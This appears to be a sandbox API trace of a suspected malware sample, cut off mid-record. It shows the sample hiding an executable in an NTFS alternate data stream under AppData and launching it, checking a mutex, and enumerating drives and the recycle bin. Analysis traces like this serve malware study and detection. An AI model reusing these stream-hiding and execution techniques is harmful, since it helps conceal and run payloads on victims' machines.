[0037.700] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8a28) returned 1 [0037.700] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf1d698) returned 1 [0037.700] NtClose (Handle=0x148) returned 0x0 [0037.700] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fcf8) returned 1 [0037.700] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed61e8) returned 1 [0037.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fcf8 [0037.701] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\VAYTH9~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\vayth9~1:bin"), fInfoLevelId=0x0, lpFileInformation=0x17af5f8 | out: lpFileInformation=0x17af5f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x838ae7, ftCreationTime.dwHighDateTime=0x300000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0x17af954, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x17af690)) returned 0 [0037.701] GetLastError () returned 0x2 [0037.701] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\VAYTH9~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\vayth9~1:bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0x148 [0037.701] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x17af63c, lpLastWriteTime=0x17af63c) returned 1 [0037.702] WriteFile (in: hFile=0x148, lpBuffer=0xed9690*, nNumberOfBytesToWrite=0x44000, lpNumberOfBytesWritten=0x17af668, lpOverlapped=0x0 | out: lpBuffer=0xed9690*, lpNumberOfBytesWritten=0x17af668*=0x44000, lpOverlapped=0x0) returned 1 [0037.707] NtClose (Handle=0x148) returned 0x0 [0037.709] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fcf8) returned 1 [0037.709] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed9690) returned 1 [0037.712] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed5850) returned 1 [0037.712] CreateProcessAsUserW (in: hToken=0x134, lpApplicationName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\VAYTH9~1:bin", lpCommandLine="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\VAYTH9~1:bin", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x17af97c*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x17af96c | out: lpCommandLine="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\VAYTH9~1:bin", lpProcessInformation=0x17af96c*(hProcess=0x164, hThread=0x148, dwProcessId=0xa5c, dwThreadId=0xa60)) returned 1 [0037.841] NtClose (Handle=0x148) returned 0x0 [0037.841] NtClose (Handle=0x134) returned 0x0 [0037.841] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fd80) returned 1 [0037.841] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8248) returned 1 [0037.841] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8170) returned 1 [0037.841] Wow64DisableWow64FsRedirection (in: OldValue=0x17afa1c | out: OldValue=0x17afa1c*=0x1) returned 1 [0037.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fd80 [0037.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fcf8 [0037.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fc70 [0037.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fbe8 [0037.842] GetLogicalDrives () returned 0x4 [0037.842] GetDriveTypeW (lpRootPathName="C:") returned 0x3 [0037.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8170 [0037.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0037.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0037.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8248 [0037.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0xed8248, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO", lpUsedDefaultChar=0x0) returned 9 [0037.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8a28 [0037.842] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8248) returned 1 [0037.842] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0037.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8248 [0037.842] CryptAcquireContextW (in: phProv=0x17af998, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x17af998*=0x468be0) returned 1 [0037.843] CryptCreateHash (in: hProv=0x468be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x17af998 | out: phHash=0x17af998) returned 1 [0037.843] CryptHashData (hHash=0x459b38, pbData=0xed8a28, dwDataLen=0xa, dwFlags=0x0) returned 1 [0037.843] CryptGetHashParam (in: hHash=0x459b38, dwParam=0x4, pbData=0x17af99c, pdwDataLen=0x17af9a8, dwFlags=0x0 | out: pbData=0x17af99c, pdwDataLen=0x17af9a8) returned 1 [0037.843] CryptGetHashParam (in: hHash=0x459b38, dwParam=0x2, pbData=0xed8248, pdwDataLen=0x17af99c, dwFlags=0x0 | out: pbData=0xed8248, pdwDataLen=0x17af99c) returned 1 [0037.843] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed89e0 [0037.843] CryptDestroyHash (hHash=0x459b38) returned 1 [0037.843] CryptReleaseContext (hProv=0x468be0, dwFlags=0x0) returned 1 [0037.843] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8248) returned 1 [0037.843] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8248 [0037.843] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8998 [0037.843] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8248) returned 1 [0037.843] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8248 [0037.843] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8248) returned 1 [0037.843] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8998) returned 1 [0037.843] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed89e0) returned 1 [0037.843] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed89e0 [0037.843] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8998 [0037.843] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8998) returned 1 [0037.843] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8998 [0037.843] OpenMutexA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="{Global\\{-D2A8-E443--570-7-F5B2-D923-}") returned 0x0 [0037.844] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8998) returned 1 [0037.844] GetLastError () returned 0x3 [0037.844] WaitForSingleObject (hHandle=0x0, dwMilliseconds=0xffffffff) returned 0xffffffff [0037.844] GetLastError () returned 0x6 [0037.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0037.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0037.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fa50 [0037.844] FindFirstFileExW (in: lpFileName="C:\\*", fInfoLevelId=0x1, lpFindFileData=0x17af768, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af768) returned 0x459bb8 [0037.844] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af768 | out: lpFindFileData=0x17af768*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430000, dwReserved1=0x430150, cFileName="Boot", cAlternateFileName="")) returned 1 [0037.844] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af768 | out: lpFindFileData=0x17af768*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x430000, dwReserved1=0x430150, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0037.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f148 [0037.844] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f148) returned 1 [0037.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f148 [0037.844] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f148) returned 1 [0037.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f148 [0037.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0x30bc08 [0037.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f9c8 [0037.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8998 [0037.844] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f148) returned 1 [0037.844] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af768 | out: lpFindFileData=0x17af768*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x430000, dwReserved1=0x430150, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0037.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f148 [0037.844] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f148) returned 1 [0037.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f148 [0037.844] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f148) returned 1 [0037.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f148 [0037.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0x30ff98 [0037.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f940 [0037.845] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f148) returned 1 [0037.845] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af768 | out: lpFindFileData=0x17af768*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430000, dwReserved1=0x430150, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0037.845] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af768 | out: lpFindFileData=0x17af768*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x430150, cFileName="Documents and Settings", cAlternateFileName="")) returned 1 [0037.845] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af768 | out: lpFindFileData=0x17af768*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x813b7be0, ftLastWriteTime.dwHighDateTime=0x1d4d5ae, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x430150, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0037.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f148 [0037.845] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f148) returned 1 [0037.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f148 [0037.845] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f148) returned 1 [0037.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f148 [0037.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0x30ffb8 [0037.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f8b8 [0037.845] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f148) returned 1 [0037.845] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af768 | out: lpFindFileData=0x17af768*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x430150, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0037.845] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af768 | out: lpFindFileData=0x17af768*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x814762c0, ftLastWriteTime.dwHighDateTime=0x1d4d5ae, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x430150, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0037.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f148 [0037.845] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f148) returned 1 [0037.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f148 [0037.845] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f148) returned 1 [0037.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f148 [0037.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0x30dd90 [0037.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f830 [0037.845] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f148) returned 1 [0037.845] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af768 | out: lpFindFileData=0x17af768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x430150, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0037.845] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af768 | out: lpFindFileData=0x17af768*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x20481c30, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x20481c30, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x430150, cFileName="Program Files", cAlternateFileName="")) returned 1 [0037.845] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af768 | out: lpFindFileData=0x17af768*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x430150, cFileName="Program Files (x86)", cAlternateFileName="")) returned 1 [0037.845] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af768 | out: lpFindFileData=0x17af768*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x430150, cFileName="ProgramData", cAlternateFileName="")) returned 1 [0037.845] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af768 | out: lpFindFileData=0x17af768*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x430150, cFileName="Recovery", cAlternateFileName="")) returned 1 [0037.845] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af768 | out: lpFindFileData=0x17af768*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x56231c60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xa1602bc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa1602bc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x430150, cFileName="System Volume Information", cAlternateFileName="")) returned 1 [0037.845] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af768 | out: lpFindFileData=0x17af768*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x430150, cFileName="Users", cAlternateFileName="")) returned 1 [0037.845] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af768 | out: lpFindFileData=0x17af768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x430150, cFileName="Windows", cAlternateFileName="")) returned 1 [0037.845] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af768 | out: lpFindFileData=0x17af768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x430150, cFileName="Windows", cAlternateFileName="")) returned 0 [0037.845] GetLastError () returned 0x12 [0037.845] FindFirstFileExW (in: lpFileName="C:\\*", fInfoLevelId=0x1, lpFindFileData=0x17af768, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af768) returned 0x459b38 [0037.846] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0037.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f148 [0037.846] GetFileAttributesExW (in: lpFileName="C:\\$Recycle.Bin" (normalized: "c:\\$recycle.bin"), fInfoLevelId=0x0, lpFileInformation=0x17af664 | out: lpFileInformation=0x17af664*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0037.846] CreateFileW (lpFileName="C:\\$Recycle.Bin" (normalized: "c:\\$recycle.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0037.846] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17af6a8, lpLastWriteTime=0x17af6a8) returned 0 [0037.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xed9690 [0037.846] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xed9690, nOutBufferSize=0x4000, lpBytesReturned=0x17af700, lpOverlapped=0x0 | out: lpOutBuffer=0xed9690, lpBytesReturned=0x17af700, lpOverlapped=0x0) returned 0 [0037.846] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed9690) returned 1 [0037.847] NtClose (Handle=0x134) returned 0x0 [0037.847] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f148) returned 1 [0037.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f148 [0037.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f7a8 [0037.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f720 [0037.847] FindFirstFileExW (in: lpFileName="C:\\$Recycle.Bin\\*", fInfoLevelId=0x1, lpFindFileData=0x17af4b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af4b0) returned 0x459bb8 [0037.847] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.847] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300000, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="")) returned 1 [0037.847] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300000, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="")) returned 0 [0037.847] GetLastError () returned 0x12 [0037.847] FindFirstFileExW (in: lpFileName="C:\\$Recycle.Bin\\*", fInfoLevelId=0x1, lpFindFileData=0x17af4b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af4b0) returned 0x459b78 [0037.847] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0037.847] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.847] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, 